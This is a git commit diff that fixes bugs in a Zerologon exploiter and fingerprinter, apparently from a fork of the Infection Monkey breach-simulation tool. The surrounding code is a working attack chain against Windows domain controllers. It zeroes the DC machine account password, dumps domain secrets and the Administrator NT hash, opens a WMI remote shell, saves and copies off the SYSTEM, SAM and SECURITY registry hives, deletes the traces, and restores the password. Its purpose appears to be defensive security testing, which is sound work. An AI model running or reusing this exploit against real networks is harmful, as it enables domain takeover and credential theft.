forked from p15670423/monkey
Changes from manual testing
This commit is contained in:
parent
1cf07eff89
commit
b57605b58d
|
@ -45,6 +45,7 @@ _new_stdout = None
|
||||||
|
|
||||||
|
|
||||||
def _set_stdout_to_in_memory_text_stream():
|
def _set_stdout_to_in_memory_text_stream():
|
||||||
|
global _orig_stdout, _new_stdout
|
||||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||||
_orig_stdout = sys.stdout
|
_orig_stdout = sys.stdout
|
||||||
_new_stdout = io.StringIO()
|
_new_stdout = io.StringIO()
|
||||||
|
@ -53,6 +54,7 @@ def _set_stdout_to_in_memory_text_stream():
|
||||||
|
|
||||||
def _unset_stdout_and_return_captured():
|
def _unset_stdout_and_return_captured():
|
||||||
# set stdout to original and return captured output
|
# set stdout to original and return captured output
|
||||||
|
global _orig_stdout, _new_stdout
|
||||||
sys.stdout = _orig_stdout
|
sys.stdout = _orig_stdout
|
||||||
_new_stdout.seek(0)
|
_new_stdout.seek(0)
|
||||||
return _new_stdout.read()
|
return _new_stdout.read()
|
||||||
|
@ -72,8 +74,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
'exec_method': 'smbexec',
|
'exec_method': 'smbexec',
|
||||||
'hashes': None,
|
'hashes': None,
|
||||||
'history': False,
|
'history': False,
|
||||||
'is_remote' True,
|
'is_remote': True,
|
||||||
'just_dc': True,
|
'just_dc': True, # becomes False in a copy in get_original_pwd_nthash()
|
||||||
'just_dc_ntlm': False,
|
'just_dc_ntlm': False,
|
||||||
'just_dc_user': None,
|
'just_dc_user': None,
|
||||||
'k': False,
|
'k': False,
|
||||||
|
@ -100,7 +102,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.zerologon_finger = ZerologonFinger()
|
self.zerologon_finger = ZerologonFinger()
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details()
|
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
||||||
|
|
||||||
if self.is_exploitable():
|
if self.is_exploitable():
|
||||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||||
|
@ -211,9 +213,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
options['target_ip'] = DC_IP
|
options['target_ip'] = DC_IP
|
||||||
options['dc_ip'] = DC_IP
|
options['dc_ip'] = DC_IP
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
remote_name=DC_IP,
|
remote_name=DC_IP,
|
||||||
username=DC_NAME)
|
username=f"{DC_NAME}$")
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if 'Administrator' in secret:
|
if 'Administrator' in secret:
|
||||||
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||||
|
@ -227,6 +229,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
for name in ['system', 'sam', 'security']:
|
for name in ['system', 'sam', 'security']:
|
||||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||||
options['dc_ip'] = DC_IP
|
options['dc_ip'] = DC_IP
|
||||||
|
options['just_dc'] = False
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
remote_name='LOCAL')
|
remote_name='LOCAL')
|
||||||
|
@ -253,17 +256,17 @@ class ZerologonExploiter(HostExploiter):
|
||||||
_set_stdout_to_in_memory_text_stream()
|
_set_stdout_to_in_memory_text_stream()
|
||||||
|
|
||||||
# Save HKLM keys on victim.
|
# Save HKLM keys on victim.
|
||||||
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||||
'reg save HKLM\SAM sam.save && ' +
|
'reg save HKLM\\SAM sam.save && ' +
|
||||||
'reg save HKLM\SECURITY security.save')
|
'reg save HKLM\\SECURITY security.save')
|
||||||
|
|
||||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||||
shell.onecmd('get system.save')
|
remote_shell.onecmd('get system.save')
|
||||||
shell.onecmd('get sam.save')
|
remote_shell.onecmd('get sam.save')
|
||||||
shell.onecmd('get security.save')
|
remote_shell.onecmd('get security.save')
|
||||||
|
|
||||||
# Delete saved keys on victim.
|
# Delete saved keys on victim.
|
||||||
shell.onecmd('del /f system.save sam.save security.save')
|
remote_shell.onecmd('del /f system.save sam.save security.save')
|
||||||
|
|
||||||
info = _unset_stdout_and_return_captured()
|
info = _unset_stdout_and_return_captured()
|
||||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
@ -294,7 +297,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# It worked!
|
# It worked!
|
||||||
assert server_auth['ErrorCode'] == 0
|
assert server_auth['ErrorCode'] == 0
|
||||||
server_auth.dump()
|
# server_auth.dump()
|
||||||
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
||||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
||||||
|
|
||||||
|
@ -312,10 +315,10 @@ class ZerologonExploiter(HostExploiter):
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
request['ComputerName'] = DC_NAME + '\x00'
|
request['ComputerName'] = DC_NAME + '\x00'
|
||||||
request["Authenticator"] = authenticator
|
request["Authenticator"] = authenticator
|
||||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
||||||
request["UasNewPassword"] = pwd_data
|
request["UasNewPassword"] = pwd_data
|
||||||
resp = rpc_con.request(request)
|
resp = rpc_con.request(request)
|
||||||
resp.dump()
|
# resp.dump()
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Unexpected error: {e}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
@ -554,18 +557,16 @@ class DumpSecrets:
|
||||||
class Wmiexec:
|
class Wmiexec:
|
||||||
OUTPUT_FILENAME = '__' + str(time.time())
|
OUTPUT_FILENAME = '__' + str(time.time())
|
||||||
|
|
||||||
def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False):
|
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
|
||||||
self.__ip = ip
|
self.__ip = ip
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
self.__lmhash, self.__nthash = hashes.split(':')
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.__noOutput = noOutput
|
|
||||||
self.shell = None
|
self.shell = None
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
if self.__noOutput is False:
|
|
||||||
smbConnection = SMBConnection(self.__ip, self.__ip)
|
smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||||
smbConnection.login(user=self.__username,
|
smbConnection.login(user=self.__username,
|
||||||
password=self.__password,
|
password=self.__password,
|
||||||
|
@ -589,7 +590,7 @@ class Wmiexec:
|
||||||
|
|
||||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||||
|
|
||||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME)
|
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME)
|
||||||
return self.shell
|
return self.shell
|
||||||
|
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
@ -612,7 +613,7 @@ class RemoteShell(cmd.Cmd):
|
||||||
self.__win32Process = win32Process
|
self.__win32Process = win32Process
|
||||||
self.__transferClient = smbConnection
|
self.__transferClient = smbConnection
|
||||||
self.__pwd = str('C:\\')
|
self.__pwd = str('C:\\')
|
||||||
self.__noOutput = True
|
self.__noOutput = False
|
||||||
|
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
if self.__transferClient is not None:
|
if self.__transferClient is not None:
|
||||||
|
|
|
@ -22,7 +22,7 @@ class ZerologonFinger(HostFinger):
|
||||||
Checks if the Windows Server is vulnerable to Zerologon.
|
Checks if the Windows Server is vulnerable to Zerologon.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
|
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host)
|
||||||
|
|
||||||
if DC_NAME: # if it is a Windows DC
|
if DC_NAME: # if it is a Windows DC
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
|
@ -55,8 +55,8 @@ class ZerologonFinger(HostFinger):
|
||||||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def get_dc_details(self):
|
def get_dc_details(self, host):
|
||||||
DC_IP = self.host.ip_addr
|
DC_IP = host.ip_addr
|
||||||
DC_NAME = self.get_dc_name(DC_IP)
|
DC_NAME = self.get_dc_name(DC_IP)
|
||||||
DC_HANDLE = '\\\\' + DC_NAME
|
DC_HANDLE = '\\\\' + DC_NAME
|
||||||
return DC_IP, DC_NAME, DC_HANDLE
|
return DC_IP, DC_NAME, DC_HANDLE
|
||||||
|
|
Loading…
Reference in New Issue